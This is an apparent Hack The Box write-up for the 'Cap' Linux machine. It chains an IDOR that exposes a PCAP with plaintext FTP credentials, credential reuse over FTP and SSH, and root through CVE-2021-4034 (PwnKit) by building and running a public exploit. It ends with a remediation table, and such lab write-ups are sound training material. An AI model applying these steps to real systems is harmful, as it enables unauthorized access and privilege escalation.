← Back to writeups

HTB Cap: IDOR to PCAP Credential Leak and PwnKit Privilege Escalation

Introduction

Cap is an Easy Linux machine that chains three realistic vulnerabilities: IDOR on a network capture endpoint leading to credential leak, credential reuse across FTP and SSH, and privilege escalation via CVE-2021-4034 (PwnKit).

Attack Overview

Nmap → Open FTP/SSH/HTTP

Web fuzzing → /capture redirects to /data/1

IDOR: /data/0 → PCAP download

Wireshark: nathan:Buck3tH4TF0RM3!

FTP login → user.txt

SSH login as nathan

LinPEAS → pkexec SUID (v0.105)

CVE-2021-4034 → root

Reconnaissance

Nmap scan:

nmap -sC -sV -oN nmap_report.txt 10.129.32.185
PortServiceVersion
21FTPvsftpd 3.0.3
22SSHOpenSSH 8.2p1
80HTTPGunicorn (Security Dashboard)

FTP anonymous login is denied. The web application is a Python backend (Gunicorn, likely Flask).

Web Enumeration

Directory fuzzing reveals interesting paths:

PathStatusNotes
/ip200Network interface info
/netstat200Active connections
/data302Redirects to /
/capture302Redirects to /data/1

The /capture endpoint redirects to /data/1. The integer ID is immediately suspicious.

IDOR – Credential Leak via PCAP

Navigating to /data/1 shows a download link for a .pcap network capture file. The dashboard reveals the logged-in username: nathan.

This is an Insecure Direct Object Reference (IDOR): the application uses a user-supplied integer to directly reference a stored object without verifying ownership.

Change the ID to 0:

http://cap.htb/data/0

Download the PCAP and open it in Wireshark. Filtering for FTP traffic reveals a plaintext authentication session:

USER nathan
PASS Buck3tH4TF0RM3!

Credentials obtained: nathan:Buck3tH4TF0RM3!

Foothold – FTP + SSH

FTP login:

ftp 10.129.32.185
# user: nathan
# pass: Buck3tH4TF0RM3!
ftp> get user.txt

The same credentials work over SSH:

ssh nathan@10.129.32.185
# password: Buck3tH4TF0RM3!

User flag:

[redacted]

Privilege Escalation – CVE-2021-4034 (PwnKit)

Checking sudo -l shows no sudo rights. LinPEAS reveals:

Pkexec binary found at: /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 Aug 16  2019 /usr/bin/pkexec
pkexec version 0.105

pkexec version 0.105 is vulnerable to CVE-2021-4034 (PwnKit). This vulnerability allows any local user to escalate to root through a memory corruption bug in pkexec’s argument handling.

Exploitation:

git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034-main
make
./cve-2021-4034

Root flag:

[redacted]

Key Takeaways

VulnerabilityRoot CauseRemediation
IDOR on PCAP endpointUser-supplied integer directly references object without ownership checkValidate object ownership before serving resources; use indirect references
Plaintext credentials in PCAPFTP authentication sent unencryptedUse SFTP or FTPS; avoid plaintext protocols
Credential reuse across FTP and SSHSame password for multiple servicesUse unique credentials per service
CVE-2021-4034 (PwnKit)pkexec SUID binary with argument parsing vulnerabilityUpdate polkit to patched version (post-Jan 2022); remove SUID from pkexec if not needed

Resources